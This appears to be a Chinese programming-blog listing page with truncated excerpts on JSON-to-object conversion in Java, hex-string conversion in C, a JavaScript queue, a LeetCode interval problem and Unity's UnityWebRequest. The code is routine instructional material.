json字符串转换为指定对象 通常我们使用的JSONObject将json字符串转为对象,只能建立在该对象内没有没有引用类型和数据的情况下才可以进行转换的,在面对复杂的对象时候转换会报错。在这里就教你怎么将json转为复杂数据类型。这里是通过JSONObject对象和反射进行操作的。有什么更好的方法可以教一下我。哈哈哈` 第一步导入JSONObject包 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>${fastjson.version}</version> </dependency> 第二步创建一个静态方法 /** * * @param json json字符串或者是JSONObject * @param type Class对象 列如Student.class * @return 返回值是 Student实例 * @throws Exception */ public static Object jsonToBean(Object json, Object type) throws Exception { JSONObject jsonObject=null; //首先需要判断是否是json字符串如果是解析为jsonObject如果是JsonObject就直接赋值给jsonObject if (json instanceof String){ //将json转为JSONOject jsonObject=JSONObject.parseObject(json.toString()); }else { jsonObject= (JSONObject) json; } //获得Class对象 //Class clazz=type.getClass().getDeclaringClass(); Class clazz= (Class) type; //通过空参构造器创建实例 Constructor constructor = clazz.getDeclaredConstructor(); constructor.setAccessible(true); Object classObject = constructor.

C语言实现字符串转十六进制

背景介绍 在嵌入式系统中, 通常会使用串口发送字符串的方式与通信模块通信,比如NBIoT模块。 有的通信模块不支持二进制形式进行透传,需要MCU事先将二进制数据转换为十六进制的字符串形式发送。比如,MCU需要发送的数据为0x1234,但通信模块只能接受字符串形式,因此必须要将其转换成字符串形式的"1234",通信模块才能正常接收处理。 具体要求 请实现一个转换函数void to_hex_string(char* pSrc, char* pDst, int len) 其中,原始二进制数据从pSrc输入,len表示数据的长度,转换后的结果保存到pDst中,pDst指向一个长度足够长的数组变量。 最后,打印该字符串的内容。 代码如下 #include <stdio.h> #include <string.h> void to_hex_string(const char *pSrc, char *pDst, int len) { const char mapping_hex_string[] = "0123456789ABCDEF"; for (int i = 0; i < len; i++, pSrc++) { pDst[i * 2] = mapping_hex_string[*pSrc >> 4]; // printf("pDst[i * 2]=%c\n", pDst[i * 2]); pDst[i * 2 + 1] = mapping_hex_string[*pSrc & 15]; // printf("pDst[i * 2 + 1]=%c\n"

JS数据结构-队列

队列:数据结构 存在两个指针,头指针:front 尾指针:rear 初始状态: 输入过程中: 输出过程:(未画) 方法: 输出: 头指针进行输入 输入:尾指针后添加 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> </body> <script> //队列的模拟 数据的结构 // 队列的特点,先入,先出,有输入,有弹出,弹出的时候,是弹出的那个指。 function Queue() { //节点类型 const node = function (ele) { this.ele = ele; this.next = null; } //初始化长度; this.length = 0; //有两个指针: 头指针,尾指针 this.front = null; this.rear = null; //添加节点。 //两种情况: //第一种情况:头指针,尾指针指向第一个节点 此刻长度为0; //第二种情况,长度大于0,头指针不一定,尾指针移动。 this.push = function (ele) { // 就需要创建一个节点: let newnode = new node(ele); if (this.

力扣435题(贪心算法,无重叠区间)

452.给定一个区间的集合,找到需要移除区间的最小数量,使剩余区间互不重叠。 注意: 可以认为区间的终点总是大于它的起点。 区间 [1,2] 和 [2,3] 的边界相互“接触”,但没有相互重叠。 这个题第一眼看下来就隐隐约约感觉需要先进行排序才可以做,但是又感觉不太需要,觉得遍历一下每个区间然后发现重叠就进行计数就可以了,但是一动手又不知道应该怎么去做,比如如果有三个区间,那么如果第二个区间跟第一个和第三个区间都有相交的话,那么显然我可以去掉第二个区间就不会有重叠区间了,但是按照我前面这种想法的话那就是要去掉两个区间,这肯定是不对的。所以只能带着疑问看看题解。题解的解法确实是用了排序,但是感觉整体思路跟自己之前的想法还是不太一样,比较巧妙。题解是将这些区间按照右边界进行一个升序排序,然后记录非交叉区间的个数,最后用区间数量减去非交叉区间就得到需要去除的区间数量。这里所谓的非交叉区间,实际上是这样的。在给所有的区间排好序之后,一开始选定第一个区间的右边界作为分割点,那么往后遍历区间,出现的第一个不与该分割点产生交集的区间就是所谓的非交叉区间,然后将这个区间的右边界作为分割点,再进一步寻找下一个非交叉区间。这道题目的贪心体现在: 局部最优:给区间按右区间排序完后,当有重叠区间的时候,优先保留右边界小的区间,尽可能留给下一个区间更大的空间,从而避免重叠。 全局最优:选取最多的非交叉区间,从而得到最少的去除区间数量。说实话代码写下来还是比较简单的,但是具体解题的思路还是比较难以理解,需要多加琢磨。代码如下 int cmp_int(const void* _a, const void* _b) { int** a = (int**)_a; int** b = (int**)_b; return (*a)[1] - (*b)[1]; } int eraseOverlapIntervals(int** intervals, int intervalsSize, int* intervalsColSize){ if (intervalsSize == 0) return 0; // 按照右边界进行升序排序 qsort(intervals, intervalsSize, sizeof(int) * 2, cmp_int); int count = 1; //记录非交叉区间的个数 int end = intervals[0][1]; for (int i = 1; i < intervalsSize; i++) { if (end <= intervals[i][0]) { end = intervals[i][1]; count++; } } return intervalsSize - count;

WWW类过时提示使用 UnityWebRequest

学习笔记 其中包括 加载音频 加载图片 加载AssetBundle 加载文本文件 using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; using UnityEngine.Networking; using System; public class GetPost : MonoBehaviour { private string mMusicURL; private string mMusicWebURL; private string mImageURL; private string mImageWebURL; private string mAssetBundleURL; private string mAssetBundleWebURL; private string mFileURL; private string mFileWebURL; void Start() { mMusicURL = Application.dataPath + "/少年.ogg"; mMusicWebURL = "http://localhost/少年.ogg"; // mMusicWebURL = "https://mp32.9ku.com/upload/128/2019/05/23/892204.mp3"; mImageURL = Application.dataPath + "/Texture/003.png"; mImageWebURL = "